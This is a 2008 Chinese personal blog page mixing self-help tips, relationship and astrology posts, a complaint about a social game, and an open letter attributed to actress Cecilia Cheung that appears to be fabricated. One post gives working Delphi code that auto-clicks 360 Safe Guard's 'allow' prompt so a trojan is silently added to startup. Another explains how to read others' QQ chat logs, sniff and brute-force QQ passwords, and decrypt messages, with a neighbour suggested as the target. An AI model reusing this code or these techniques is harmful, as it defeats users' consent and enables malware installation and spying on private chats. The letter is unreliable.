我的地盘我做主
2008年09月24日我的作文

没有评论
23 views

心理自我调节法

放松自己,放松自己,放松自己。无法诠释自己这几天急噪什么,睡个觉也老是几次被吵醒。恨不得想杀人!放送,克制,于是起来就跑大街上大喊了几声,一口气跑了很远。决定,早睡早起,善待自己。以前我只知道珍惜别人就会有回报,现在珍惜自己就是给自己的最大回报!!!!!有道难坎我必须一个人去克服!我老哥在8月初就激励我学会减压就是寻找自信。我应当,也必须把自己放在第一位,这不是自私……
[code]
心理自我调节法:
再平坦的道路,也会有坎坷;再顺利的人生,也会有挫折。面对生活学习中遇到的种种挫折,我们应有良好的承受能力。了解一些自我调节的心理学方法,并适时应用,能提高自己的挫折承受能力。调节挫折的心理学方法主要有:
1、 合理宣泄法。人在受挫时,会产生很多负性情绪,这种情绪靠堵是堵不住的,比较好的方法是在合适的场合发泄出来。如出气室宣泄,找一个僻静的角落,对树木、石头发泄或者对着大海山谷大声吼叫。书写宣泄,是通过写信、日记、绘画等形式发泄自己的不满。向人倾诉宣泄,则是把自己的烦恼、愤怒、痛苦等向老师、朋友或亲人一一倾诉或大哭一场,以缓解心理压力。一般说来,受挫时由于负性情绪的干扰,个体容易变得思维狭窄、固执、偏激,缺乏对行为后果的预见性,而通过适度发泄,情绪放松,则认知恢复正常。

2、 注意转移法。即把注意力从消极情绪的事情上转移开来。遇到烦恼苦闷之事,可采取暂时回避的方式,去看电影、电视,听音乐,散步,进行体育运动或做其他有意义的事。这种方法很有效。
3、 反向思维法。当生活中遇到一些挫折或困难时,一味地埋怨和逃避往往只能使自己心情越来越坏,不妨换个角度看问题或通过自我调侃的方式,努力从不利因素中找到有利因素,从而调动自己的积极性。生活中自会有“否极泰来”、“因祸得福”之事。从而使心理达到一种更高层次的平衡。

4、 情志相胜法

中医认为情志具有五行和阴阳属性,七情之间相互制约,可以通过一种情志来克制另一种情志。如喜胜忧,当你情绪忧郁时,有意地制造欢乐气氛可减轻忧愁。

5、 聊天法

闲聊对心理调适能起很大功效。它可缓解紧张、消除隔膜,表达温情、躲避碰撞、化解怨气、发泄怒火。

6、 激励法

要走出每日“消沉-后悔-更消沉-更后悔”的心理不平衡怪圈,给自己确立一个值得去追求的目标。出去找个朋友开怀一下,踏踏实实干点活,参加一个社团或培训等等,使自己的精力集中起来。有了成功的经验和自信,我们就能再选择更高的目标激励自己。

7、 遗忘法

现实中不少人终日生活在对往事的痛苦回忆中,反复品尝旧时受到的挫折,陷入恶性循环中,使心理愈加不平衡。因此必须学会遗忘,这是对痛苦的解脱。能使身心获得宽慰,从而激发出新的力量,人性得到了升华。

总之,在漫长的人生路途中,我们会遇到形形色色的挫折,诸如爱情上、学习上、工作上等等。但挫折并不可怕,只要我们摆正心态,勇敢的面对它,它就会在我们面前低头,最终的胜利者还是我们。

[/code]

2008年09月22日人在网络

没有评论
19 views

奴隶庄园:你究竟想“蹂躏”谁

  51博客网以其支持漂亮直观、友好的互动界面受到了众多博友们的好评,注册人数不断激增。最近51公司又不断改进,增添了不少趣味性的娱乐小程序,受到51博友们的欢迎。但其中的“奴隶庄园”却让人有点尴尬,不吐不快!

  刚开始不知道这个“奴隶庄园”是个什么东东。有一天打开自己的51博客管理后台,看到这么一条提示,“XXX 邀请您使用 奴隶庄园,邀请理由:你可以把好友买下来做他们的主人,然后可以选择蹂躏或者安抚他们,在这里,你可以尽情享受你的奴隶主生活!”

  感到好奇便添加了应用,点开一看——哈哈,原来是个“贩卖人口”的语言类游戏:我没加入前竟然被贩卖了九次!!!有的指令“我”去印度做“阿三”;有的指令“我”去日本当“AV影星”;有的竟然“强迫”“我”去泰国做“人妖”!还有人“安抚”“我”:她们有的“辛苦烧茶”给“我”喝;有的带“我”去必胜客吃披萨!幸好没人愿意“蹂躏”“我”(1.关到猪圈里;2.痛扁一顿;3.大街当马骑;4.关到小黑屋;5.打扮成禽兽!!!)

把别人的女朋友或女人当成自己的奴隶,是很爽的一件事情,不过当自己的女人出现那样的事情,心理怎么想呢。现实生活中把别人的女朋友蹂躏本就会是骂人并遭到严重后果。不知道51的丫头们怎么就能欣然接受。

   大家都明白,玩博客就是一个平台,有着共同兴趣爱好的博友聚集在一起,以文字、图片、音乐等形式来实现的精神生活的交流。这个方面51公司确实做得不错!我就是觉得这个“奴隶庄园”实在有点低俗(“蹂躏”就是其关键词),这里面玩的内容一点益智、怡情的成分都没有,给人一种“意淫”的感觉:以驱使“别人”、侮辱“别人”为快意!(尽管是虚拟的!)

  虽然玩博客的人文化素养参差不齐,但绝大多数朋友都渴望在网络这个虚拟的舞台上张扬个性,自我休闲,给自己一个释放心灵的美好空间。51公司能够不断开发、提供更多更好的服务给广大博友,这是得到大家肯定的。但也要考虑一下诸如像“奴隶庄园”这样的游戏的社会思想导向、文化内涵(到底是积极的还是消极的),在这样的前提下,才能不断实现自己的商业利益。

是男人都受不了自己的女的被别人蹂躏吧,呵呵。按中国法律,51的这种行为可以告了,侵害和侮辱人身行为。按美国法律,一个小朋友就能以这个理由把你告破产,51应知道美国的民主和法律吧。中国不久会有那样的条文的。

在这样下去,当大家都认为是恶心的一件事,51家园,这个博客系统还有什么发展前途……

2008年09月21日琐碎心情

没有评论
18 views

好困,又累,心情也不好,压力大

顾兴伟第5次给我电话,说在不去就没的哥们做。我说好,放假就去。他说你要是去深圳我不会这么殷勤。

同学问我这半年来花了多少, 我说肯定吓死你。今天值班,又忙的给别的同事帮忙,困的不说还把眼睛花花的

同学陈也对我说老二在你那地方,给他短信,我说好,号码给我。

爱情赋予了算命,唉。
压力好大,都把我压的快喘不来气了

好男友别对她做这9件事

应该做一个理智的男人。不管你和你的女友有多深的感情,也千万切记,她仍然是一个独立的个体,独立的人。有些事,不能对她做!  

别问她的过去

  眼睛要看将来,看过去有何用?过去她不认识你,你又不认识她,她有权利保存自己的过往回忆。可以因她是你的女朋友而关注她的过去,但过去她并非你的女友。

吃醋时不要把醋瓶子打翻
  吃醋是爱的表现,没有爱,哪来的醋?但吃醋过度,是自私另一种表现。

不要吵架而关机
  因为生气是暂时的,没有消不了的气,在她需要你的时候,要让她能打得通你的手机。

不要当着她的面称赞别的女孩
  就算你表现出欣赏别的女孩,也要告诉你的女朋友,她才是你的最爱。

不要等着她打电话给你
  不管你如何的腼腆,不要总是太被动,女人比男人更需要被重视的感觉,爱她就要重视她。

不要怀疑她
  信任是爱情的基础,相信她就是相信你自己,相信你自己的能力与魅力。

不要拿她和你的前女友比较
  天下没有相同的两个人。前女友有自己的优点,也有她的缺点,现任女友亦同。如果一定要比,请拿现任女友的优点和前女友的缺点来比。

[color=Red]不要把爱情托付给星座、血型、 塔罗牌等
  再坏的牌,放在高手手里,也能打出好效果,再好的牌,换差手来打,也会打得一塌糊涂。幸福是要用心经营的,不懂得珍惜,再搭配的星座都会吵得不可收拾。[/color]

不要占有她的全部空间
  两个人的世界很小,只要一张小床;两个人的世界又很大,似乎找不到边际。两个人的距离很近,有人同床异梦;两个人的距离很远,有人天涯咫尺。给她空间,说到底,就是给爱情一个生存和滋养的空间,爱情需要呼吸!

2008年09月20日设计代码

3条评论
90 views

delphi虚拟点击过360安全卫士

360安全卫士总是会提示有某个程序要添加到随机启动里面,让用户来确定是不是要让这个程序成为随机启动.只要我们能快速的点击那个"确定"也能让木马成功的添加到随机启动里面. 首先我们应该了解这两个函数,findwindow和findwindowex她们是API函数,在VB语言里面我们要在写很常的声明,用的时候也容易出错,但是在delphi中由于VCL的封装这两个API函数可以像DELPHI自身的函数那样简单调用来获得窗体句柄。FindWindow(LPCTSTR LpClassName,LPCTSTR LpWindowName);
LpClassName :指向一个指定了类名的空结束字符串,或一个标识类名字符串的成员的指针。如果该参数为一个成员,则它必须为前次调用theGlobafAddAtom函数产生的全局成员。该成员为16位,必须位于IpClassName的低 16位,高位必须为 0。

LpWindowName:指向一个指定了窗口名(窗口标题)的空结束字符串。如果该参数为空,则为所有窗口全匹配

FindWindowEx(HWND hwndParent,HWND hwndChildAfter,LPCTSTR lpszClass,LPCTSTR lpszWindow);

hwndParent:要查找子窗口的父窗口句柄。

如果hwnjParent为NULL,则函数以桌面窗口为父窗口,查找桌面窗口的所有子窗口。

hwndChildAfter :子窗口句柄。查找从在Z序中的下一个子窗口开始。子窗口必须为hwndPareRt窗口的直接子窗口而非后代窗口。如果HwndChildAfter为NULL,查找从hwndParent的第一个子窗口开始。如果hwndParent 和 hwndChildAfter同时为NULL,则函数查找所有的顶层窗口及消息窗口。

lpszClass:指向一个指定了类名的空结束字符串,或一个标识类名字符串的成员的指针。如果该参数为一个成员,则它必须为前次调用theGlobaIAddAtom函数产生的全局成员。该成员为16位,必须位于lpClassName的低16位,高位必须为0。

lpszWindow:指向一个指定了窗口名(窗口标题)的空结束字符串。如果该参数为 NULL,则为所有窗口全匹配。返回值:如果函数成功,返回值为具有指定类名和窗口名的窗口句柄。如果函数失败,返回值为NULL

了解这两个函数后我们就开始进行编程。

在窗体上加个timer1控件并把interval的值设为小于500大于0

procedure TForm1.Timer1Timer(Sender: TObject);
var
idid,hand,he:thandle;
begin
idid:=findwindow('Afx:400000:0',nil);//获取360安全卫士的提示句柄
IF idid <> 0 THEN//当获得360安全卫士句柄的时候
begin
hand:=findwindowex(idid,0,'Button','允许此动作');//先获取"允许此动作"的选项句柄
if hand<>0 then//获得"允许此动作"的句柄
begin
postmessage(hand,wm_lbuttondown,0,0);
postmessage(hand,wm_lbuttonup,0,0);//将选项确定在允许此动作上
he:=findwindowex(idid,0,'Button','确定');//获得"确定"的句柄
postmessage(he,wm_lbuttondown,0,0);
postmessage(he,wm_lbuttonup,0,0);//自动点击确定
end;
end;
end;

end.

这样我们就将我们成功的将"木马"添加到随机起动里面了.

2008年09月18日大千世界

没有评论
24 views

QQ聊天记录是如何加密的

QQ,就是OICQ,TENCENT公司研发的即时信息软件,是中国市场上国产IM软件绝对的老大。中国网民几乎人手至少一个QQ号码。大家都比我清楚,不多介绍。

本文谈谈QQ的安全问题。

QQ具有如此惊人的人气,却有着与之不相称的安全问题。基本上可以说,使用QQ,基本没有任何隐私可言!另外它也为你的电脑带来了诸多附送的安全隐患。有识之士如我都早已不用QQ啦。

一,本地密码保存方式

QQ的客户端会不经用户同意,把用户的密码经过数万次的MD5运算后存在本地。每次登陆在发送网络数据包之前进行本地验证,相信熟悉QQ的朋友对这一点都不陌生。这样事实上给了攻击者暴力破解QQ密码的机会,只要攻击者得到本地保存的这个数据即可。这个文件曾经叫ewh.db或者user.db,不知道现在是否又变了。说明一点,由于MD5作了数万次,这样的破解效率不高,但再低的效率也有弱智密码中招,当年在线尝试登陆都可以,还有什么不可能呢?
如果选择了自动登陆,那么密码的一次MD5保存在oicq2000.cfg中,破解速度大大提高。

二,本地聊天记录查看漏洞

典型的攻击场景是:已经拿到全部本地记录,就是一个以QQ号为名的文件夹,不知道密码(或者俗称忘记了密码,求助者多数号称是mm)如何查看其聊天记录?
QQ登陆的流程是这样的:1.输入用户名密码->2.本地验证通过->3.得到用户界面(企鹅开始闪动)->4.发送登陆包->5.收到登陆包成功响应->6.登陆成功。
其中在步骤3的时候,我们就可以查看聊天记录了。
如果2失败,则要求重新输入密码;如果5失败,则退出步骤3中得到的用户界面。对于没有正确密码的攻击者来说,要保持3的状态以查看本地聊天记录,需要首先骗过2,并防止4发生。由于QQ没有软件加密(加壳),所以2十分容易,修改一个跳转就OK。4就更容易了,拔了网线或设置防火墙就可以了。现在网上有很多这样的修改教程和修改好的客户端。所以不再赘述。

三,本地聊天记录的加密方法

事实上以上第二条所说是一个利用已有客户端简单规避本地检查的办法。如果你愿意,可以自己写一个查看聊天记录的工具,因为它的加密方式是如此的脆弱。
首先普及一点常识:TEA算法(Tiny Encryption Algorithm,即微型加密算法)是一个正规的密码学意义上的加密算法,你可以在http://www.ftp.cl.cam.ac.uk/ftp/papers/djw-rmn/djw-rmn-tea.html找到原作者对其的介绍。QQ的加密,包括本地文件加密和远程数据包加密,主要使用的就是这个算法。值得注意的是原作者使用的是32轮运算(即使是32轮,这个算法也被证明是可以已知明文攻击的),然而TENCENT将其降为了16轮。时间上省了一半,但安全性却严重下降。算法常识以后再讲,我们只要知道该算法是公开的就可以了。(废话,不公开哪来的那么多开源QQ,比如lumaQQ)。
QQ本地历史数据,包括聊天记录和一些日志,用一个key加密后存在本地Msg.db或者MsgEx.db中,但是这个key呢,用QQ号码的MD5加密存在本地同一个文件中,换句话说,知道QQ号码就可以解密这些文件,QQ号码是什么呢?就是所在目录名!
当然,如果你启用了本地消息加密,情况会稍微好那么一点点,要看你的本地加密密码强度了。但是有多少人会去设置呢?

四,木马泛滥,Windows的HOOK

关于QQ密码的安全性我想是大家最关心的问题。网络上充斥着各种各样的偷QQ密码的文章或者工具,其实绝大多数越来越不好用,有些所谓偷密码的工具甚至本身就是木马,是来偷你自己的密码的。这些工具主要原理是挂钩子,判断当前窗口名,截键盘,某种方式发回。实际上,能种下木马本身已经是可遇而不可求的了。加上对方稍有安全意识,有个象样点的防火墙,这些工具就很难成功。
另外臭名昭著的QQ病毒之一类,俗称QQ尾巴的,也多是利用这种原理,查找窗口,发送消息。
针对这些问题,TENCENT公司自己也做了不少工作,比如窗口名是空的,实际看到的窗口名是画上去的。比如软键盘,比如其他的密码保护措施,可惜效果不太好啊。

五,登陆数据包如果遭窃听,密码可能被离线暴力破解

这是一个十分严重的问题,也会导致密码丢失。而且比前一条所说更严重。实际上,攻击者不再需要装木马,他只要会用Sniffer就可以了。
随便分析一下QQ的程序,或者看看开源的QQ程序,我们就知道,虽然普通数据包是协商的密钥,但QQ的登陆请求数据包中,由于还没有协商密钥,临时密钥是写在数据段之前的,也就是说这个数据包是可以轻松解密的。那么这个数据包里包含什么呢?它包含了用QQ密码的MD5或2次MD5加密空字符串得到的一段16字节数据!加密算法是TEA,最要命的是,经过TENCENT公司对算法模式的一个包装,如果用一个不相干的密钥去尝试解密这段二进制数据,解密函数会返回错误!而不是解密出一段无用的数据并返回正确!这种傻瓜逻辑为穷举攻击创造了极大的便利条件。实际攻击者不需要去穷举128位的密钥,他只要猜测可能的密码,做MD5运算一到二次后尝用来尝试解密那16字节数据就可以了。
简而言之,如果你的密码够简单,或者进了字典,那么恶意攻击者只要用一个sniffer,或者开个QQ代理,就能知道你的密码,这个穷举只要本地运算即可,而且速度非常之快。大约10^6~10^8次/秒。这个速度意味着,所有8位以下数字,6位以下字母,简单数字字母组合的密码都是形同虚设。作为对策,建议普通用户使用足够强壮的密码并且不要使用任何QQ代理。

六,得到工作密钥,实时解密QQ数据

QQ聊天数据加密用了协商密钥作工作密钥,这不错。可是,它竟然用对称算法传递协商的密钥!?
QQ的工作密钥是服务器随机生成并发回的(也许不是随机?可以预测?不过我没搞到QQ服务器源码,不知道),如果QQ在线,这个密钥会是一直不变的,如果不在线一段时间,这个工作密钥就被更新。所以每两次登陆,如果间隔了一定时间,大约十几分钟,这个密钥就不同。从而一劳永逸地破解工作密钥是不现实的。但是如果有了QQ密码的MD5,那么攻击者可以解密QQ登陆确认数据包,解密后竟然就可以看到工作密钥,是16个字节的大小写字母加数字组合。此后所有客户端到服务器的数据将全部用此工作密钥解密。如果需要点对点聊天,那么所需密钥用同样算法和工作密钥加密送来。总之,此后所有QQ数据都可以认为是明文了。
如果你的密码被偷或被破解,攻击者很可能不通知你,也不修改你的密码,因为他知道你有密码保护,但是不要以为你的QQ号没有丢,可能攻击者正在看着你的聊天信息偷着乐呢。他也随时可以上线踢你下去,帮你聊天。

七,太多而繁杂的发行版本

QQ的客户端有太多的版本了,各种语言发行版不论,各种年号版、XP版、beta版、正式发行版,冠以各色名字,令人眼花缭乱,关键是他们还都好用。实际上,一个成功的C/S结构的网络产品不应当同时有太多的客户端版本,不仅难以维护,增大服务器开销,而且给冒名版本提供了可乘之机。现在流行有许多非官方发布的QQ客户端版本,什么珊瑚虫版,免广告版,显IP版……都大行其道,傻瓜也会想得到,其中必然有偷密码版,恶作剧版,留后门版在其中鱼目混珠。QQ对自己的客户端不加壳也就算了,它还不作进程检查和文件完整性校验,也没有守护进程。这么大大咧咧,怎么对得起这么多信之爱之的忠实用户啊?

八,多处不作任何加密处理的模块

也许由于数据量太大,语音和视频聊天就都没有加密,是明文传播,任何人可以直接在线收听收看。如果你想用WEB方式登陆www.qq.com,那么密码也就按照明文发出去了。

九,乱添插件,乱加功能

直接调用控件编写的内置IE浏览器,完全继承了IE的各种功能,以及漏洞。大家知道IE的漏洞研究的人十分之多,那么QQ也就随之非常危险了。
QQ秀,Q币,手机绑定等等在线服务,常常是每推出一个,就捎带出一堆漏洞。研究的人不少,这个需要在线研究,有风险,所以我没怎么干过。谁有经验告诉我啊。
自定义头像漏洞:据说QQ自定义头像的功能传出过一个漏洞,导致任意代码执行,我虽然没有实践过,但想来可能不假。
可以想见,功能越多,潜在的危险也就越大!这其实是安全软件开发中一条很有名的原则。所以建议各位,尽量少去玩试用版新功能,使用稳定而功能少的旧版本其实有时利大于弊。

十,相同认证方式的其他网络服务和产品

HTTP服务,《凯旋》游戏,QQ游戏大厅,等等,都可以用QQ号加同样的密码登陆。也许方便了用户,但在安全性上来讲这是大忌。整体安全性降到了其中的最小值。凯旋和游戏大厅是有客户端的,用户名密码的加密方式与QQ相同。但是HTTP可是明文的啊。

以下讲几个场景。

例如:
首先,滑稽的很,我竟然可以在http://service.qq.com查询到任意QQ号是否申请了密码保护,那么查查隔壁mm的吧。
然后,晓之以情动之以理,mm你去申请密码保护吧。同时打开sniffer。
哎,申请密码保护竟然要WEB方式输入密码!你知道么?申请密码保护的过程可能就是丢失密码的过程哦,顺便还捎带了提示问题及其答案呢!

再例如:
我是网管,已经得到了你的密码,我修改了你的密码,你没有密码保护,那么你可以去申诉,向一个CGI叫做http://service.qq.com/cgi-bin/TellError的申诉。
然后,我就知道了你的曾经密码,真实信息,另一个QQ号……真是大丰收啊。什么,你打电话申诉?好吧去打吧,很艰辛的,社会工程学攻击已经超出本篇的范围了。

再例如,你有密码保护,好吧那么你的找回过程还是要WEB登陆。再说,现在有多少电子邮箱又能抵挡住sniffer这样的简单工具呢?我就不多说了。
下面我们来欣赏一下QQ的解密代码。
[code]
void decrypt_qword(unsigned long *in, unsigned long *key, unsigned long *out)
{

unsigned long code[4];
register unsigned long i=16, j=0xe3779B90, m, n;

m = swapu32(in[0]);
n = swapu32(in[1]);

code[0] = swapu32(key[0]); code[1] = swapu32(key[1]);
code[2] = swapu32(key[2]); code[3] = swapu32(key[3]);

while(i-- >0)
{
n -= ((m>>5)+code[3])^((m<<4)+code[2])^(j+m);
m -= ((n>>5)+code[1])^((n<<4)+code[0])^(j+n);
j += 0x61C88647;
}
out[0] = swapu32(m);
out[1] = swapu32(n);
}

int decrypt_msg(unsigned char *in, int inlen, unsigned long *key,
unsigned char *out, unsigned long *outlen)
{
unsigned char q[8], mkey[8], *q1, *q2, *outp;
register int count, i, j, p;

if (inlen%8 || inlen<16) return 0;
decrypt_qword((unsigned long *)in, key, (unsigned long *)q);
j = q[0]&0x7;
count = inlen - j - 10;
// if (*outlen < count || count < 0) return 0; //?????*outlen
if (count < 0) return 0;
*outlen = count;

memset(mkey, 0, 8);
q2 = mkey;
i = 8; p = 1;
q1 = in+8;
j ++;
while (p <= 2) {
if (j < 8) {
j ++;
p ++;
} else if (j == 8) {
q2 = in;
for (j = 0; j < 8; j ++ ) {
if (i + j >= inlen) return 0;
q[j] ^= q1[j];
}
decrypt_qword((unsigned long *)q, key, (unsigned long *)
q);
i += 8;
q1 += 8;
j = 0;
}
}
outp = out;
while(count !=0) {
if (j < 8) {
outp[0] = q2[j] ^ q[j];
outp ++;
count --;
j ++;
} else if (j == 8) {
q2 = q1-8;
for (j = 0; j < 8; j ++ ) {
if (i + j >= inlen) return 0;
q[j] ^= q1[j];
}
decrypt_qword((unsigned long *)q, key, (unsigned long *)
q);
i += 8;
q1 += 8;
j = 0;
}
}
for (p = 1; p < 8; p ++) {
if (j < 8) {
if (q2[j]^q[j])
return 0;
j ++;
} else if (j == 8 ) {
q2 = q1;
for (j = 0; j < 8; j ++ ) {
if (i + j >= inlen) return 0;
q[j] ^= q1[j];
}
decrypt_qword((unsigned long *)q, key, (unsigned long *)
q);
i += 8;
q1 += 8;
j = 0;
}
}
return 1;
}

[/code]
算法模式简要概括如下:
F(i) = P(i) + C(i-1)
C(i) = E(Fi) + F(i-1)
P是明文,C是密文,E是TEA算法,作用于8字节单元上。每次i增加1,就作用于一个8字节分组。

我们看到QQ的加密在算法模式上作了两个设计,其一引入随机字符作头部padding,这样基本保证同样的明文和密钥可以导致完全不同的加密结果。模式设计使得解密函数解密后可以准确抛弃掉这部分随机字。这个设计的确很好。但其模式在另一点上做的太差了,就是用返回值明确指出了解密的成功与否。

实际上至少两年前,水木清华的Crack版上,pure(青衣~ shadow in silence) 的文章就揭示了这一段代码,早已不是什么秘密了。我自己也跟踪得到了这样的东西,不过还是参考过Shufeng Tan的Net-OICQ-0.8,以及Puzzlebird为Gaim写的QQ插件OpenQ-0.3.1,至于lumaQQ就没看了,想来也就差不多了吧。

事实上我还有一个猜想,32轮的TEA降低到16轮,肯定是出奇地危险,如果对算法破解有兴趣,那么可以看看下面这些参考书。
1)John Kelsey,Bruce Schneier, David Wagner, “Related Cryptanalysis of 3-Way, Biham-DES, CAST, DES-X, NewDES, RC2, and TEA”
2)Fauzan Mirza, “Block Ciphers And Cryptanalysis”
3)VIKRAM REDDY ANDEM, “A CRYPTANALYSIS OF THE TINY ENCRYPTION ALGORITHM”

张柏芝回应"艳照门事件" 发表公开信

原文出处:http://www.it.com.cn/f/news/082/13/547633.htm
 

艳照门中张柏芝不雅照片被曝光
艳照门中张柏芝不雅照片被曝光
 

  近日(08年2月份)网上传出消息,陈冠希艳照门的另一女主角,已为人妇人母的张柏芝就艳照门事件作出回应,发表了公开信。以下为公开信内容:

  大家好,我是张柏芝。

  其实我并没有打算对这件事做任何的回应,因为在我看来,除了阿仔和他的家人我不欠任何人交待。不过我的助手跟我说,这世上有一群人,他们是我的 FANS,他们曾经为我的作品买单,让我可以去买LV的包和Chanel的裙子,让Lucas可以在很好的医院里出生。这些人曾经很喜欢我,为我欢呼尖叫,并给出关怀和支持,而现在他们很伤心很难过,觉得受骗上当,甚至很愤怒,而我也需要对他们有个交待。

  说实话我觉得这件事情挺无聊,我和什么人做爱,在什么地方用何种方式,那都是我自己的事,现在搞得来似乎全世界人都有权利来关心似的。我知道你们都在等什么,等着看我 如何为自己辩解,把谎话说圆,把责任推开,然后很得意的笑两声,说这个白痴女人,连说谎都说得那么蠢。

  不过很可惜,这一次你们要失望了。

  照片是真的,和不同的男人做爱、磕药、通宵跳舞这些事我全干过。别问我为什么,我想,这世上很多人都会有不想规规矩矩做人的时候,只不过,有些人想了没做,有些人做了没人知道,而我想了做了,很不幸,还让你们都知道了。

  我这辈子没做过什么伤天害理的事,我犯过很多错,有很多错得相当离谱,也伤过不少人,但那些人里面不包括坐在屏幕前面等着看这份申明的你们。被我伤害过的人我会去弥补 ,用我的下半辈子,如果他还需要。

  不必称赞我很有勇气,承认这些不需要什么勇气,因为即使不承认也不会有人相信。而且我好像也从来没有隐瞒过,说实话我还以为这年头不蒲夜不磕药不滥交才是怪事,我不知道原来我形象一直以来还挺清纯的。

  为了给好这次交待,我的助手帮我收集了一些言论。

  我很抱歉杀了大家心目的玉女张柏芝,但我想你们应该会快的找到替代品。

  我知道有很多人在等着我自杀,但我实在想不出我为什么该死,所以又让你们失望了。

  有很多人在指责我说谎,这让我很惊喜,我还以为这个世上不掌握点说真话的技巧已经活不下去,原来大家还都这么天真,还在要求人类在任何场合对任何事都诚实坦白。这是好品质,虽然我不拥有,但我希望你们能保持。

  不过有一件事我没有说谎,我和陈冠希没有拍拖过,我们做爱,但是没有拍拖,明白我的意思吗?

  看到有爸妈觉得我教坏小女生,好吧,虽然我不是小朋友的偶像,但喜欢张柏芝这个名字的人里,可能真的有小女生。那么我想对她们说得是,没什么意思,那些看起来很刺激很好玩的事,我都做过,没什么意思,我现在觉得都特别无聊。当然我不相信靠我这样假模假样的劝两句会有什么用,榴莲有多臭,要吃过了才会知道。

  说实话我现在挺后悔的,后悔没有意义,听起来也很虚伪,但这后悔是真的,否则我会继续那样过下去,而不是跟人结婚生小孩。

  我嫁给阿仔是因为我爱他,他是最好的男人,他让我觉得即使什么都不干,只是发呆看着他,也比跟别的男人做爱更快乐。我曾经打算把后半辈子全交给他,我会很乖,全听他的做,我觉得这样会很幸福。我一直都很笨,搞不清楚自己要什么,但是他聪明,他会保护我,照顾好我,让我什么都不用想,我以为这就是幸福。他说会用性命来搏这场爱情,我以为 这样的日子会很久……

  阿仔没看那些照片,这些天我一直在陪他打电动,他跟我说没事,只是需要一点时间。我一直在等他,等那点时间过去,他说什么我都会照着做,我相信他会照顾好我,也照顾好 Lucas。

  任何事情都会过去,会很快,可能三个月后你们就不再关心这些照片,或者半年,三年,如果时间太长,我会带着Lucas去国外。只要别少买包少买衣服,我的钱还很够用,

  所以不用帮我担心Lucas的生活,即使离婚我也不会把Lucas交给别人去养,我不相信会有人比我更爱他。

  好了,该说的都说得差不多了,我不知道有多少人坐在屏幕前面等着听我说这些破事。说实话,我当年磕药滥交,我也觉得自己挺下流的,不过,看着我的照片打手枪,一边骂我 下贱一边到处搜索新照片的你们也没高尚到哪里去。

  所以,我觉得,我就不必向你们道歉了。

  就这样吧,这就是我的交待。

    晚安!

他(她)们都是天使,有一双大而透明的翅膀…

网友发我的,我就抄袭下来哩,注释下:让真真的信星座算命的人都去死……该从虚拟的网络世界回到现实了……无聊的人,每天都做着无聊的事,过着无聊的日子……
正文:

==========
   双子的痴情
  ==========
双子有自己的痴情,痴的心里只能装得下一个人。虽然面对真情双子感到很沉重,想逃避,但是如果你是双子喜欢的人,你就是他心里的那个人。只是双子很重视朋友,他不想让朋友感到因为你的存在而让他们受到冷淡。所以他在言语上仍是我行我素,所以你会觉得一群人里面你不是他的FOCES。其实你不知道:多面玲珑的双子一直在关注着你:看你开不开心,看你口不口渴,饿不饿,有没有带面巾。。。他不想那么明显的表露并不代表他不关心你啊!和双子在一起很简单,只要你是你自己就好。不管双子的行为再怎么花痴一样,你要相信双子们有很高的道德标准,他可以把持自己的。因为你才是他的真爱!

  ==========
   双子的弱智
  ==========
神经太大条,不是双子。因为双子对任何事都很敏感。但是双子有些方面确实比较弱智,比如感情。他可以很细致的观察到你对他的感觉,但正因为细致,所以他才确定不了你是不是喜欢他:因为你和双子在一起的时候可以笑,可以发脾气,可以不做声,他看在眼里了,所以他又不确定了!喜欢双子,一定要对他讲,好吗?然后,他又开始不知道怎么继续追你了,这确实是很让人崩溃的事情,但确实是事实(唉,有什么办法,不知道就是不知道)。。。

  ==========
   双子的朋友
  ==========
做双子的朋友,是件很幸福的事情。如果你身边有个双子,老是拉你陪他一起去疯的话,那你就好好的珍惜这个双子吧。因为遇到事情的时候他宁可自己不幸也不想让你吃一点亏。也因为他感觉你是个好人:好的道德素质、阳光的心理、坦荡的胸怀。当然也请你在享受双子带来的疯狂的同时包容他率直的性情吧:)

  ==========
   双子的爱恨分明
  ==========
你,城府太深;你,太自我;你,让人感觉到阳光照不到心里;你,脑子木头一样;你,太封闭,。。。双子会和你保持一定的距离。你,太做作;你,阿谀奉承;那就离双子远一点吧,对大家都好。因为双子的鄙视情绪是不受控制的。双子的语言天赋可能会因为你的存在而激发….

从爱情方面,说双子花心的人是不了解双子的,至少你看到的双子太少了,双子对异性从来就有一种亲切友好的感觉,但并不代表他就喜欢她(他)们。可能有人觉得这样是花心,关键在于双子不觉得,如果双子的情人不喜欢这样,只要说一下就可以改变了。都说天蝎专一,其实他们做不到那种一段时间只和一个人交往,他有很多对象,一直到找到他要找的人才会专一,双子不会的,除非他跟你开玩笑,不然每一个都是唯一的,双子找到真爱后一样是专一不变的,甚至刻意克制自己不能有一丝的差错,整天弄的神经息息的。更难得的是双子爱上一个人是为了能给她幸福而不只是和她在一起。他为爱放弃从来就不会后悔。双子专一起来非常的可怕,天蝎也比不上,因为双子连玩笑都不想开,很认真的样子。爱的深但又不会让你感到压抑。你要深沉的或轻松的爱情双子都可以满足你,因为双子有一颗敏感而聪明的心,但自己的难过从不让你感受到….

很多人都不相信双子,看他就觉得没有安全感。谁叫双子不够深沉,难道深沉就是安全感。双子喜欢大家轻松一点,因为生活很不容易…..
双子是个天真单纯的孩子.她(他)会为值得信任值得依赖的朋友付出一切,就算自己吃亏.受委屈,也会微笑着说不后悔她(他)会为朋友一个落寞的笑容而拼命的安慰她(他)们,想着如何去逗她(他)们开心.满脑子只想着这件事情,直到朋友露出笑脸,她(他)才会放心

她(他)即使受了伤,也不会告诉任何人…因为她(他)一心只想着不让别人担心…一心只想着怎么才可以拼命的伪装自己..不让别人看见快乐双子的脆弱…

  她(他)拥有双重人格…

  她(他),理解她(他)们的人很少…她(他)们理解的人却很多…她(他)总是充当守护天时最佳的人选..因为,人们大多数看见的是她(他)们的笑容..她(他)拥有灿烂的笑容,可以掩饰一切的笑容…她(他)一直被人当作小孩子,一直被当作不懂悲伤的幼稚小孩子她(他)的内心一直奢求别人更多的安慰和呵护…她(他)在亲人眼里也许一直被当作只懂得要求不懂得付出的小孩子…她(他)一直在守护着大家…却没有人了解她(他)们的关爱和呵护她(他)经常设身处地的为别人着想…只要一点点回报,她就能露出最真实的笑脸…她(他)一直在为别人心疼…却不懂的为自己着想..她(他)一心只想充当那个无忧无虑的小孩子…那个别人认为的快乐天使…可是…现实总不是这样…因为…她(他)还有更多悲伤和孤独..

  她(他)一直想为别人分担痛苦…她(他)从来不记仇…也许刚才很恨的人,看到她(他)受到伤害,表面上没什么反应,心里其实也在心疼…

